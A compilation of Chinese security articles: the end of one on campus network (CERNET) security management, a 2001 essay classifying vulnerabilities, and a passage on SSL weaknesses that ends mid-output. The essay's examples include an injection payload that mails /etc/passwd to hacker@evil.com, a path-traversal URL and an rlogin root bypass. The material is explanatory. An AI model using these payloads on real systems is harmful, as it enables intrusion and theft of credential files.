    5. 校园网内部用户对网络资源的滥用，有的校园网用户利用免费的校园网资源提供商业的或者免费的视频、软件资源下载，占用了大量的网络带宽，影响了校园网的应用;
    6. 垃圾邮件、不良信息的传播，有的利用校园网内无人管理的服务器作为中转，严重影响学校的声誉。
    CERNET安全管理措施
    中国教育和科研计算机网CERNET从建设之初就非常重视网络安全问题，采取的许多安全措施都是国内领先的。对于连接各大学的网络主干， CERNET最为关注的是主干网的安全可靠运行，并依靠各大学协调一致的努力保障各校园网的安全可靠运行。但是随着技术的发展，CERNET的网络安全也面临着许多挑战。
    中国教育和科研计算机网网络中心从1996年跟踪国际应急响应组织的发展，并且在1999年在清华大学成立的中国第一个从事网络安全事件应急响应服务的组织——中国教育和科研网紧急响应组CCERT，并很快在各地区网络中心成立了多个应急响应组如，NJCERT、GZCERT等。
    当前CCERT的工作如图2所示，CCERT应急响应组利用自主开发的安全检测系统发现重大的安全事件，同时接收国内相关组织的安全事件报告，对于CERNET范围内一般性的安全事件，则转发给相关的校园网管理员;对于重大的安全事件，则由CERNET主管领导召集相关部门讨论应急方案，由网络运行服务中心(NOC)实施控制和隔离措施，同时上报国家相关主管部门。CERNET也是国内最早发起反垃圾邮件工作和研究的单位之一。在2002年， CERNET发布了关于制止垃圾邮件的管理规定，并具体实施了若干项技术措施。2003年出版了国内第一本关于反垃圾邮件的书籍《垃圾邮件与反垃圾邮件技术》，并于2004年发布了世界上第一个基于SpamAssassin的开放式中文反垃圾邮件过滤规则集，并被Apache软件基金会选定为Linux标准安装模块。
    CERNET一贯重视网络安全技术的交流和培训，在每年的CERNET年会上，都开设网络安全和应急响应论坛，由各高校的网络管理和安全管理人员共同交流安全运行管理工作中的问题和经验，另外，CCERT还在全国各地多次进行安全管理技术培训，这些对加强各高校校园网安全管理工作起到了有效的作用。
    加强校园网安全管理措施的建议
    互联网的分布特性决定了不可能从CERNET主干网上解决校园网的安全问题，加强校园网的安全管理仍然是当前形势下教育和科研网络环境安全管理的重点。中央16号文件《关于进一步加强和改进大学生思想政治教育的意见》也给加强校园网环境的信息安全提出了进一步的要求。
    加强校园网的安全管理工作需要从管理和技术两个方面综合考虑:
    首先，加强校园网安全管理政策建设。安全政策(Security Policy)描述校园网安全的目标和需求，是一个组织安全管理的需求说明，它是执行各项管理制度、技术措施的依据，一般规定“做什么”而不是“怎么做”，告诉用户哪些行为是允许的、哪些行为是不允许的，违反了这些约定将会受到怎样的处罚。目前很多学校以安全管理规定、安全条例、安全管理办法等形式发布。一个可行的安全政策应该根据我国的相关法律、法规以及学校的管理制度和具体情况制定，不存在通用的、可实施的安全政策。
    安全政策应该让所有的校园网用户知道，在国外，企业用户一般要签署AUP(Access Usage Policy)，对校园网用户，无论是院系单位还是学生个人，都可以以签署入网协议的形式让用户知道学校的安全管理政策，一方面起到提高安全意识的作用，同时明确责任和义务，便于对安全事故的处理。
    其次，加强安全组织建设。目前普遍认为校园网安全管理工作应该由网络/信息/计算中心承担，但是事实上，安全管理工作非常复杂，可能涉及各院系、部、处的人员和业务，因此必须由学校具有决策权的机构和领导组织和协调各部门的管理工作，比如，成立信息安全管理委员会和专门的办公室。另外，安全管理各项措施的实施,单纯依靠网络中心的力量也是不充分的。院/系/处/宿舍安全管理分级负责的组织体系建设仍然是必要的。加强用户安全意识和管理员安全技术的培训工作非常重要。对于新用户的安全意识的培训，新生入学教育和新员工上岗培训是两个比较好的时间，也可以开展一些职工的在职培训、学生的文化课、选修课等形式的安全意识培训和基本技能的培训。对于系统管理员，一定要重视上岗培训。很多学校院系服务器的管理员都是由助教研究生来担任的，这些学生没有经过必要的培训，容易留下大量的安全问题。对于这些岗位的安全培训是当前校园网安全管理非常迫切的环节。IPv6 对网络安全的影响随着中国下一代互联网示范工程CNGI项目的建设，以IPv6技术为核心的下一代互联网建设和研究在我国已经普遍展开，尤其是在教育和科研领域。目前CNGI实验网之一CERNET2已经于2004年底开通，即将有二十多所大学接入CERNET2。
    IPv6技术在一定程度上改善了网络安全问题，但是许多安全问题仍然存在。IPv6最重要的安全增强是将IPSec作为强制标准实施，保证了网络层数据的保密性和完整性。然而，大规模部署IPSec所依赖的PKI在IPv6网络上仍然不存在，因此IPSec的广泛实施仍是很遥远的事情。而且， IPSec的信息加密给当前的入侵检测等技术带来了新的挑战，目前的网络的审计机制、防火墙机制都有可能受到影响。
    另一方面，目前的许多安全问题出在系统的实现和维护阶段，特别是系统软件和应用软件，跟底层的网络协议无关。因此，利用缓冲区溢出、弱口令等系统漏洞入侵系统的现象不会因为IPv6的实施而有所减少。
    IPv6带来的最直接的好处便是地址空间，在网络安全方面，普遍认为这个庞大的地址空间可以大大减缓病毒或蠕虫扫描的速度从而降低病毒或蠕虫的影响。然而IPv6中会不会出现新的传播方式目前仍然不得而知。
    不过，IPv6 作为一项发展中的新技术，给我们解决安全问题提供了一个新的机遇。比如，IPv6无尽的地址空间允许我们给所有联网设备分配一个真实的IP地址，无需地址转换，这对于加强安全管理和攻击追踪提供了可行的机制。利用IPv6的特点，研究和开发下一代互联网安全技术和系统，给我国教育和科研领域的研究人员提供了一个新的机遇。

    结束语

    互联网的各种安全威胁在校园网的运行和管理中表现得尤为突出，加强校园网的安全管理是当前非常迫切、充满挑战的任务。CERNET网络中心在安全管理方面已经采取了许多安全措施，在以后的工作中将以安全管理和技术的交流、培训和协调为工作重点;各高校校园网应加强安全政策、安全管理组织和技术培训，增大安全管理的投入，共同做好校园网的安全管理工作，建设一个安全、可信的教育和科研网络环境。


计算机网络系统安全漏洞分类研究

作者：潇湘夜雨 发表时间：2001/11/16 08:16pm

本文的目地是为了总结一些东西，解决在试图构造一个漏洞数据库的过程中碰到的主要问题，也就是如何对计算机网络漏洞进行分类的问题。文中的一些想法并不成熟，有些甚至连自己也不满意，权作抛砖引玉，以期与在这方面有深入研究的同仁交流，共同提高完善。
一个计算机网络安全漏洞有它多方面的属性，我认为主要可以用以下几个方面来概括：漏洞可能造成的直接威胁，漏洞的成因，漏洞的严重性，漏洞被利用的方式。以下的讨论将回绕这几个方面对漏洞细分其类。
A．按漏洞可能对系统造成的直接威胁
可以大致分成以下几类，事实上一个系统漏洞对安全造成的威胁远不限于它的直接可能性，如果攻击者获得了对系统的一般用户访问权限，他就极有可能再通过利用本地漏洞把自己升级为管理员权限：
一．远程管理员权限

攻击者无须一个账号登录到本地直接获得远程系统的管理员权限，通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出，少部分来自守护进程本身的逻辑缺陷。
典型漏洞：
１． IMAP4rev1 v10.190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查，构造一个精心设计的AUTH命令串，可以溢出imapd的缓冲区，执行指定的命令，由于imapd以root身份运行，从而直接获得机器的root权限。
２． WindowsNT　IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查，如果构造一个超长的URL，可以溢出IIS (inetinfo.exe)的缓冲区，执行我们指定的代码。由于inetinfo.exe是以local system身份启动，溢出后可以直接得到管理员权限。
３． 早期AIX 3.2 rlogind代码存在认证逻辑缺陷，用rlogin victim.com –l –froot，可以直接以root身份登录到系统而无须提供口令。
二．本地管理员权限

攻击者在已有一个本地账号能够登录到系统的情况下，通过攻击本地某些有缺陷的suid程序，竞争条件等手段，得到系统的管理员权限。
典型漏洞：
１． RedHat Linux的restore是个suid程序，它的执行依靠一个中RSH的环境变量，通过设置环境变量PATH，可以使RSH变量中的可执行程序以root身份运行，从而获得系统的root权限。
２． Solaris 7的Xsun程序有suid位，它对输入参数未做有效的边界检查，可以很容易地溢出它的缓冲区，以root身份运行我们指定的代码，从而获得管理员权限。
３． 在windows2000下，攻击者就有机会让网络DDE（一种在不同的Windows机器上的应用程序之间动态共享数据的技术）代理在本地系统用户的安全上下文中执行其指定的代码，从而提升权限并完全控制本地机器。
三．普通用户访问权限

攻击者利用服务器的漏洞，取得系统的普通用户存取权限，对UNIX类系统通常是shell访问权限，对Windows系统通常是cmd.exe的访问权限，能够以一般用户的身份执行程序，存取文件。攻击者通常攻击以非root身份运行的守护进程，有缺陷的cgi程序等手段获得这种访问权限。
典型漏洞：
１． UBB是个广泛运行于各种UNIX和Windows系统的论坛程序，用PERL实现，它的5.19以下版本存在输入验证问题，通过提交精心构造的表单内容，可以使UBB去执行shell命令，因为一般的web服务器以nobody身份运行，因此可以得到一个nobody shell。比如提交这样的数据：topic='012345.ubb|mail hacker@evil.com </etc/passwd|'，我们就可以得到系统的passwd文件。
２． RedHat Linux 6.2带的innd 2.2.2.3版新闻服务器，存在缓冲区溢出漏洞，通过一个精心构造的新闻信件可以使innd服务器以news身份运行我们指定的代码，得到一个innd权限的shell。
３． Windows　IIS 4.0-5.0存在Unicode解码漏洞，可以使攻击者利用cmd.exe以guest组的权限在系统上运行程序。相当于取得了普通用户的权限。
四．权限提升

攻击者在本地通过攻击某些有缺陷的sgid程序，把自己的权限提升到某个非root用户的水平。获得管理员权限可以看做是一种特殊的权限提升，只是因为威胁的大小不同而把它独立出来。
典型漏洞：
１． RedHat Linux 6.1带的man程序为sgid man，它存在format bug，通过对它的溢出攻击，可以使攻击者得到man组的用户权限。
２． Solaris 7的write程序为sgid tty，它存在缓冲区溢出问题，通过对它的攻击可以攻击者得到tty组的用户权限。
３． WindowsNT系统中，攻击者能够使系统中其他用户装入一个”特洛化”的porfile，使其他用户执行攻击者的恶意代码，有时甚至是管理员。
五．读取受限文件

攻击者通过利用某些漏洞，读取系统中他应该没有权限的文件，这些文件通常是安全相关的。这些漏洞的存在可能是文件设置权限不正确，或者是特权进程对文件的不正确处理和意外dump core使受限文件的一部份dump到了core文件中。
典型漏洞：
１． SunOS 5.5的ftpd存在漏洞，一般用户可以引起ftpd出错而dump出一个全局可读的core文件，里面有shadow文件的片断，从而使一般用户能读到shadow的部分内容。
２． SuSE 6.2的suid程序pg，对它的配置文件处理存在问题，当把pb.conf链接到特权文件，可以用pb读取那些文件的内容。
３． Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文件全局可读而且为明文，它记录了连接的口令，很可能被攻击者读到。
六．远程拒绝服务

攻击者利用这类漏洞，无须登录即可对系统发起拒绝服务攻击，使系统或相关的应用程序崩溃或失去响应能力。这类漏洞通常是系统本身或其守护进程有缺陷或设置不正确造成的。
１． 早期的Linux 和 BSD的tcp/ip堆栈的ip 片断重组模块存在缺陷，攻击通过向系统发出特殊的ip片断包可以使机器崩溃。
２． Windows2000带的Netmeeting 3.01存在缺陷，通过向它发送二进制数据流，可以使服务器的CPU占用达到100%。
３． 通过发送一个带有超长参数的USER命令给AnalogX Proxy Server 4.04的ftp端口，可以使这个应用程序崩溃。
七．本地拒绝服务

在攻击者登录到系统后，利用这类漏洞，可以使系统本身或应用程序崩溃。这种漏洞主要因为是程序对意外情况的处理失误，如写临时文件之前不检查文件是否存在，盲目跟随链接等。
１． BSDi 3.x存在漏洞可以使一个本地用户用一些垃圾覆盖系统上的任何，这样会很容易地把系统搞成不可用。
２． RedHat 6.1的tmpwatch程序存在缺陷，可以使系统fork()出许多进程，从而使系统失去响应能力。
八．远程非授权文件存取
利用这类漏洞，攻击可以不经授权地从远程存取系统的某些文件。这类漏洞主要是由一些有缺陷的cgi程序引起的，它们对用户输入没有做适当的合法性检查，使攻击者通过构造特别的输入获得对文件存取。
典型漏洞：
１． Poll_It_SSI_v2.0.cgi存在漏洞可以使攻击者看到web目录外的所有有权限看的文件，发送如下的请求给服务器就能看到/etc/passwd文件，http://www.targethost.com/pollit/Poll_It_v2.0.cgi?data_dir=\etc\passwd%00
２． Windows IIS 5.0存在一个漏洞，通过向它发送一个特殊的head标记，可以得到asp源码，而不是经过解释执行后asp页面。
３． Windows IE存在诸多漏洞允许恶意的web页面读取浏览用户的本地的文件。
九．口令恢复

因为采用了很弱的口令加密方式，使攻击者可以很容易的分析出口令的加密方法，从而使攻击者通过某种方法得到密码后还原出明文来。
典型漏洞：
１． Windows下的PassWD v1.2用来管理系统中的各种口令，并和URL一起储存起来。但它加密储存的口令加密方式非常脆弱，经过简单的分析，就可以从加密后的口令还原出明文。
２． Pcanywhere 9.0采用非常脆弱的加密方法来加密传输中的口令，只要窍听了传输中的数据很容易解码出明文口令。
３． Browsegate是一个Windows下的代理防火墙，它的2.80.2版本，在配置文件中储存了加密后的口令而且配置文件对所有用户是可读的，然而加密方式极其脆弱，可以很容易地解码出明文。
十．欺骗

利用这类漏洞，攻击者可以对目标系统实施某种形式的欺骗。这通常是由于系统的实现上存在某些缺陷。
典型漏洞
１． Windows IE曾经存在一个漏洞允许一个恶意网络在另一个风站的窗口内插入内容，从而欺骗用户输入敏感数据。
２． Linux kernel 2.0.35以下的tcp/ip堆栈存在漏洞，可以使攻击者进行ip地址欺骗非常容易实现。
十一．服务器信息泄露

利用这类漏洞，攻击者可以收集到对于进一步攻击系统有用的信息。这类漏洞的产生主要是因为系统程序有缺陷，一般是对错误的不正确处理。
典型漏洞：
１． Windows IIS 3.0-5.0存在漏洞，当向系统请求不存在的.idq，.idq文件时，机器可能会返回出错信息，里面暴露了IIS的安装目录信息，比如请求http://www.microsoft.com/anything.ida，服务器会返回Response: The IDQ file d:\http\anything.ida could not be found。这些对攻击者进行攻击可能带来方便，比如广泛流行的msadc的攻击，需要知道系统的安装目录。
２． Linux kernel 2.1.53以下的tcp/ip堆栈开放和关闭的端口对特定的数据包有特定的回应，攻击者可以利用这个特性进行端口的秘密扫描。
３． 某些cgi程序如DBMan (db.cgi)存在漏洞可以使攻击者看到一些系统的环境变量，使攻击者获得关于系统一些有用的信息。
十二．其它

虽然以上的几种分类包括了绝大多数的漏洞情况，可还是有可能存在一些上面几种类型无法描述的的漏洞，把它们归到这里。
B．按漏洞的成因
对其分类，是对漏洞进行分类最另人头疼的一个方面，因为对漏洞研究的不同抽象层次，会对同一个漏洞做出不同的分类，对下面提到的ps竞争条件漏洞，从最低层次上来说是参数验证错误，因为相继的系统调用并没有检查他们所处理的是否为同一个对象，从高一些的层次看，这是一个同步或竞争条件错误，从更高的层次看，这则是一个逻辑错误，因为对象可能在使用过程中被删除。至今也没看到一个比较完美分类方案，包括securityfocus上的分类也不能让人满意，现大致分成以下几类：
一． 输入验证错误
大多数的缓冲区溢出漏洞和cgi类漏洞都是由于未对用户提供的输入数据的合法性作适当的检查。
二． 访问验证错误
漏洞的产生是由于程序的访问验证部分存在某些可利用的逻辑错误，使绕过这种访问控制成为可能。上面提到的那个早期AIX的rlogin漏洞就是这种典型。
三． 竞争条件
漏洞的产生在于程序处理文件等实体时在时序和同步方面存在问题，这处理的过程中可能存在一个机会窗口使攻击者能够施以外来的影响。早期的Solaris系统的ps命令存在这种类型的漏洞，ps在执行的时候会在/tmp产生一个基于它pid的临时文件，然后把它chown为root，改名为ps_data。如果在ps运行时能够创建这个临时文件指向我们有兴趣的文件，这样ps执行以后，我们就可以对这个root拥有文件做任意的修改，这可以帮助我们获得root权限。
四． 意外情况处置错误
漏洞的产生在于程序在它的实现逻辑中没有考虑到一些意外情况，而这些意外情况是应该被考虑到的。大多数的/tmp目录中的盲目跟随符号链接覆盖文件的漏洞属于这种类型。例子：Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆盖调试日志文件的问题，而文件的名字是固定的，通过把文件名指向某些特权文件，可以完全破坏系统。
五． 设计错误
这个类别是非常笼统的，严格来说，大多数的漏洞的存在都是设计错误，因此所有暂时无法放入到其他类别的漏洞，先放在这。
六． 配置错误
漏洞的产生在于系统和应用的配置有误，或是软件安装在错误的地方，或是错误的配置参数，或是错误的访问权限，策略错误。
七． 环境错误
由一些环境变量的错误或恶意设置造成的漏洞。如攻击者可能通过重置shell的内部分界符IFS，shell的转义字符，或其它环境变量，导致有问题的特权程序去执行攻击者指定的程序。上面提到的RedHat Linux的dump程序漏洞就是这种类型。
在漏洞的威胁类型和产生漏洞的错误类型之间存在一定的联系，有直接联系的威胁类型与错误类型用直线相连，可以看到如下的图示：

远程管理员权限
                                         输入验证错误
本地管理员权限
                                         访问验证错误
普通用户访问权限
                                       竞争条件
权限提升
                                     意外情况处置错误
读取受限文件

远程拒绝服务
                                   设计错误
本地拒绝服务

远程非授权文件存取
                                       配置错误
口令恢复

欺骗
                                     环境错误
服务器信息泄露

可以看到输入验证错误几乎与所有的漏洞威胁有关，设计错误与错误的配置也会导致很多威胁。
    C.对漏洞严重性的分级
一般来说漏洞的威胁类型基本上决定了它的严重性，我们可以把严重性分成高，中，低三个级别。远程和本地管理员权限大致对应为高，普通用户权限，权限提升，读取受限文件，远程和本地拒绝服务大致对应中级，远程非授权文件存取，口令恢复，欺骗，服务器信息泄露大致对应低级别。但这只是最一般的情况，很多时候需要具体情况具体分析，如一个涉及到针对流行系统本身的远程拒绝服务漏洞，就应该是高级别。同样一个被广泛使用的软件如果存在弱口令问题，有口令恢复漏洞，也应该归为中高级别。
D．对漏洞被利用方式的分类
漏洞的存在是个客观事实，但漏洞只能以一定的方式被利用，每个漏洞都要求攻击处于网络空间一个特定的位置，可能的攻击方式分为以下四类：
一． 物理接触
攻击者需要能够物理地接触目标系统才能利用这类漏洞，对系统的安全构成威胁。图示：

              攻击者　　　　　　　　　　　　　主机

二． 主机模式
通常的漏洞利用方式。攻击方为客户机，被攻击方为目标主机。比如攻击者发现目标主机的某个守护进程存在一个远程溢出漏洞，攻击者可能因此取得主机的额外访问权。
        图示：
                                攻击
                    攻击机器　　　　　　　　　主机

三． 客户机模式
当一个用户访问网络上的一个主机，他就可能遭到主机发送给自己恶意命令的袭击。客户机不应该过度信任主机。如web浏览器IE存在不少漏洞，可以使一些恶意的网站用html标记通过那些漏洞在浏览的客户机中执行程序或读写文件。
        图示：
                                  攻击
                    客户机　　　　　　　　　　主机

四． 中间人方式
当攻击者位于一个可以观察或截获两个机器之间的通信的位置时，就可以认为攻击者处于中间人方式。因为很多时候主机之间以明文方式传输有价值的信息，因此攻击者可以很容易地攻入其他机器。对于某些公钥加密的实现，攻击者可以截获并取代密钥伪装成网络上的两个节点来绕过这种限制。
    图示：
                            通信
              主机　　　　　　　　　　　　　主机

窍听或篡改
                            攻击者

本文对网络安全漏洞作了粗浅地分类，这远不是一个完美的方案，有兴趣的欢迎来信交流心得。
一些我读过的参考资料：
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/data/library/compvuln_draft.pdf


    SSL的安全漏洞及解决方案
如果你在互联网上访问某些网站时在浏览器窗口的下方有一个锁的小图标，就
表示它表示该网页被SSL 保护着。但用SSL 防护的网站真的能够防范黑客吗？现在
国内有很多人对SSL 存在这么一个认识误区：SSL 很安全，受到SSL 防护网页服务
器的资料就一定是万无一失的，这也导致这样一个局面，只要有着SSL 防护的网站
服务器很少接受审查以及监测。其实不然，对于安全要求不甚高的交易或认证，SSL
还是一个相当不错的安全机制，然而若应用在特殊要求方面，它还存在有这样那样
的问题。在下面的文中我将为大家简单介绍SSL 存在的安全漏洞及解决方案，希望
本文对你有所帮助。
一、认识SSL
一般人认为SSL 是保护主机或者只是一个应用程序，这是一个误解，SSL 不是
设计用来保护操作系统的。SSL 是Secure Sockets Layer通讯协议的简称，它是被
设计用来保护传输中的资料，它的任务是把在网页以及服务器之间的数据传输加密
起来。这个加密（encryption）的措施能够防止资料窃取者直接看到传输中的资料，
像是密码或者信用卡号码等等。在这里谈到SSL ，你就必须了解数字证书（Digital
Certificates）的概念。
数字证书是一种能在完全开放系统中准确标识某些主体的机制。一个数字证书
包含的信息必须能鉴定用户身份，确保用户就是其所持有证书中声明的用户。除了
唯一的标识信息外，数字证书还包含了证书所有者的公共密钥。数字证书的使用允
许SSL 提供认证功能——保证用户所请求连接的服务器身份正确无误。在信用卡号
或PIN 号码等机密信息被发送出去前让用户确切知道通讯的另一端的身份是毫无疑
问的重要的。很明显的，SSL 技术提供了有效的认证。然而大多数用户并未能正确
意识到通过SSL 进行安全连接的必需性。除非越来越多的用户了解SSL 和安全站点
的基本知识，否则SSL 仍不足以成为保护用户网络连接的必需技术。除非用户能够
充分意识到访问站点时应该注意安全连接标识，否则现有的安全技术仍不能称为真
正有效。
目前几乎所有处理具有敏感度的资料，财务资料或者要求身分认证的网站都会
使用SSL 加密技术（当你看到https 在你的网页浏览器上的URL 出现时，你就是正
在使用具有SSL 保护的网页服务器。）。在这里我把SSL 比喻成是一种在浏览器跟
网络服务器之间“受密码保护的导管”（cryptographic pipe），也就是我们常说
的安全通道。这个安全通道把使用者以及网站之间往返的资料加密起来。但是SSL
并不会消除或者减弱网站所将受到的威胁性。在SSL 这个安全通道的背后，一般没
有受到SSL 防护的网站一样具备了相同的网页服务器程序，同样的网页应用程序，
CGI 的script以及后端数据库。目前普遍存在这么一个错误的认识：很多系统管理
者却认为，受到SSL 防护的网页服务器自动就变得安全了。其实不然，事实上，受
到SSL 防护的网页服务器同样还是会受到与一般其它网站服务器遭受攻击的威胁，
受到SSL 防护的网页服务器不一定是万无一失的。
二、SSL 的安全漏洞
虽然一个网站可能使用了SSL 安全技术，但这并不是说在该网站中正在输入和
以后输入的数据也是安全的。所有人都应该意识到SSL 提供的仅仅是电子商务整体
安全中的一小部份解决方案。SSL 在网站上的使用可能会造成管理员对其站点安全
性的某些错觉。使用了SSL 的网站所可能受到的攻击和其它服务器并无任何区别，
同样应该留意各方面的安全性。简言之，加密和数字证书，SSL 的主要组成，从来
都无法保护服务器——它们仅仅可以保护该服务器所收发的数据。SSL 常见安全问
题下面三种：

1 、攻击证书
类似Verisign之类的公共CA机构并不总是可靠的，系统管理员经常犯的错误是
过于信任Verisign等的公共CA机构。例如，如果Verisign发放一个证书说我是“某
某某”，系统管理员很可能就会相信“我是某某某”。但是，对于用户的证书，公
共CA机构可能不象对网站数字证书那样重视和关心其准确性。例如，Verisign发放
了一个“keyman" 组织的证书，而我是其中一员”JACK“。当一个网站要求认证用
户身份时，我们提交了”JACK“的证书。你可能会对其返回的结果大吃一惊的。更
为严重的是，由于微软公司的IIS 服务器提供了”客户端证书映射“（Client Certificate
Mapping ）功能，用于将客户端提交证书中的名字映射到NT系统的用户帐号，在这
种情况下我们就能够获得该主机的系统管理员特权！
如果黑客不能利用上面的非法的证书突破服务器，他们可以尝试暴力攻击（brute-force
attack）。虽然暴力攻击证书比暴力攻击口令更为困难，但仍然是一种攻击方法。
要暴力攻击客户端认证，黑客编辑一个可能的用户名字列表，然后为每一个名字向
CA机构申请证书。每一个证书都用于尝试获取访问权限。用户名的选择越好，其中
一个证书被认可的可能性就越高。暴力攻击证书的方便之处在于它仅需要猜测一个
有效的用户名，而不是猜测用户名和口令。
2 、窃取证书
除上面的方法外，黑客还可能窃取有效的证书及相应的私有密钥。最简单的方
法是利用特洛伊木马。这种攻击几乎可使客户端证书形同虚设。它攻击的是证书的
一个根本性弱点：私有密钥——整个安全系统的核心——经常保存在不安全的地方。
对付这些攻击的唯一有效方法或许是将证书保存到智能卡或令牌之类的设备中。
3 、安全盲点
系统管理员没办法使用现有的安全漏洞扫描（vulnerability scanners）或网
络入侵侦测系统（intrusion detection systems ，IDS ），来审查或监控网络上
的SSL 交易。网络入侵侦测系统是通过监测网络传输来找寻没有经过认证的活动。
任何符合已知的攻击模式或者并未经过政策上授权的网络活动都被标起来以供系统
管理者检视。而要让IDS 能够发生作用，IDS 必须能够检视所有的网络流量信息，
但是SSL 的加密技术却使得通过http传输的信息无法让IDS 辨认。再者，虽然我们
可以用最新的安全扫描软件审查一般的网页服务器来寻找已知的安全盲点，这种扫
描软件并不会检查经过SSL 保护的服务器。受到SSL 保护的网页服务器的确拥有与
一般服务器同样的安全盲点，可是也许是因为建立SSL 连结所需要的时间以及困难
度，安全漏洞扫描软件并不会审查受到SSL 保护的网页服务器。没有网络监测系统
再加上没有安全漏洞审查，使得最重要的服务器反而成为受到最少防护的服务器。
三、解决方法
至于如何保护证书的安全，你可以采用IDS （Intrusion Detection System），
它是一种用于监测攻击服务器企图的技术和方法。典型的IDS 监视网络通讯，并将
其与保存在数据库中的已知攻击“特征”或方法比较。如果发现攻击，IDS 可以提
醒系统管理员、截断连接或甚至实施反攻击等。问题在于如果网络通讯是加密的，
IDS 将无法监视。这反而可能会使攻击更为轻松。假设在一个典型的被防火墙和IDS
防护的DMZ 环境中，黑客能轻松地探测被SSL 保护的网站，因为SSL 对数据的加密
使得IDS 无法正常监测攻击。通常一台单一的网站服务器会同时使用SSL 和普通的
TCP 协议。由于黑客攻击的服务器而不是网络连接，他们可以选择任意一种途径。
通过SSL 途径，黑客知道SSL 加密为他们带来的好处，这样更容易避开IDS 系统的
监测。在这里我主要介绍的是如何解决系统管理员没办法使用现有的安全漏洞扫描
或网络入侵侦测系统而存在的网页服务器安全盲点的情况，目前解决这个困扰的常
用方法大致有以下三种：
1 、通过Proxy 代理服务器的SSL
我们可以在一个SSL Proxy 代理程序上使用这项资料审查技术。SSL Proxy 是
一个在连接埠80上接收纯文字的HTTP通讯请求的软件，它会将这些请求通过经由SSL
加密过的连结，转寄到目标网站。我们在连接埠80开一个听取的socket，通过上述
的OpenSSL 指令，将所有进入这个proxy 的数据传送出去。这在Unix上，只是个小
技巧：你只须将以下的指令加到你们的/etc/inetd.conf 档案里面，这个inetd.conf
包含所有inetd 所提供的网络服务的设定：
www stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/ssl_proxy.sh
而/usr/local/bin/ssl_proxy.sh 的内容则如下所述：
# ！/bin/sh /usr/local/ssl/bin/openssl s_client -no_tls1 -quiet -connect
168.172.100.10：443 2>/dev/null
168.172.100.10是SSL 防护下的网站的地址所在。其中“-no_tls1”以及“-quiet”
选项将SSL 交谈（handshake ）的标题显示关掉，并且也删除了SSL 对于尚未经过
授权的网站认证所发出的警告。
如果你要想测试你的proxy 连结，那么你只要以纯文字的方式，在执行SSL proxy
的系统的连接端口80建立联机。这个proxy 会使用SSL 来转寄接收的请求到目标网
站。
$ telnet 182.197.110.180 GET / HTTP/1.0
在这里，服务器正在182.197.110.1 的地址执行SSL proxy 机制，而真正受到
SSL 保护的地址则是在168.172.100.10. 通过这个SSL proxy 机制，我们只要将安
全扫描软件指向proxy 的IP地址，就可以使用它来审查一个SSL 服务器。
在这里，你可以使用whisker 程序（网址：http://www.wiretrip.net/rfp/p/doc.asp？
id=21&iface=2 ）来审查SSL 防护的网站服务器。Whisker 是一个由Rain Forest
Puppy 写出来的script，可以用来检查已知的比较容易受到入侵的网站应用程序以
及CGI script.
。/whisker.pl -h 168.172.100.2 whisker / v1.3.0a / rain forest puppy
/ ADM / wiretrip - Loaded script database of 1691 lines = - = - = - = -
= - = = Host： 168.172.100.2 = Server ： Microsoft-IIS/4.0 + 404 Object
Not Found ： GET /cfdocs/ + 404 Object Not Found： GET /cfide/Administrator/startstop.html
+ 404 Object Not Found： GET /cfappman/index.cfm + 404 Object Not Found
： GET /cgi-bin/ + 403 Access Forbidden ： HEAD /scripts/ + 403 Access Forbidden
： HEAD /scripts/cpshost.dll + 404 Object Not Found ： HEAD /samples/search/queryhit.htm
+ 404 Object Not Found： HEAD /adsamples/config/site.csc + 403 Access Forbidden
： HEAD /scripts/counter.exe + 403 Access Forbidden ： HEAD /scripts/samples/
以上情况是在182.197.110.1 上执行whisker ，然后whisker 使用SSL 将所有
的HTTP请求转寄到168.172.100.10.
SSL proxy 的观念已经存在一阵子了。目前有一个名为sslproxy.c的程序可以
执行以上的功能（网址：http://www.obdev.at/Products/sslproxy.html）。另外
还有一个最近才出来，执行SSL proxy 还有它额外功能的工具程序，叫做stunnel
（http://www.stunnel.org/ ），是由Brian Hatch 开发的。然而，因为使用命令
列模式操作OpenSSL 软件相对来说比较简单的，所以我将在下面介绍这种方式。
2 、OpenSSL
OpenSSL （相关资料网址：http://www.openssl.org/ ）包含了一套程序以及
函式库，提供前端使用者SSL 功能，并且允许软件工程师将SSL 模块与他们的程序
结合。在众多由SSL 提供的产品里面，最能够用来让我们在这里讨论的是命令列模
式的（command-line）SSL 客户端以及伺服端工具软件。OpenSSL 程序是一个指令
列接口的程序，它是用来以手动的方式起始SSL 连结。OpenSSL 让你重新导引与其
它程序之间的资料输入以及输出。
使用普遍可得的安全扫描软件来审查SSL 服务器在研究技术文件时，我们在Apache
提供给OpenSSL 的接口模块mod_ssl （相关资料网址：http://www.modssl.org/）
读到了一些有趣的信息。其中有一段常见问题讨论到有关测试在SSL 保护下的网站
服务器。你可以利用Telnet连到网页服务器第80号连接埠，然后下达如下的http get
指令，从网页服务器取得网页：
因为SSL 通联必须要经过一个安全的连接埠，而在这里我们使用的是没有安全
防护的连接埠80，因此，这个技巧在HTTPS 通讯协议上是行不通的。然而，如果我
们用的是OpenSSL 程序，我们就可以在SSL 连接上做同样的一件事情。
下面是OpenSSL 连结的细节
openssl ：s_client -connect www.ramsec.com：443 CONNECTED （00000003）
depth=0 /C=US/ST=Washington/L=New Castle/O=Rampart Security Group LLC/OU=Web/OU=Terms
of use at www.verisign.com/RPA（c ）99/CN=secure.ramsec.com verify error
：num=20：unable to get local issuer certificate verify return：1 depth=0
/C=US/ST=Washington/L=New Castle/O=Rampart Security Group LLC/OU=Web/OU=Terms
of use at www.verisign.com/RPA（c ）99/CN=secure.ramsec.com verify error
：num=27：certificate not trusted verify return ：1 depth=0 /C=US/ST=Washington/L=New
Castle/O=Rampart Security Group LLC/OU=Web/OU=Terms of use at www.verisign.com/RPA
（c ）99/CN=secure.ramsec.com verify error：num=27：certificate not trusted
verify return ：1 depth=0 /C=US/ST=Washington/L=New Castle/O=Rampart Security
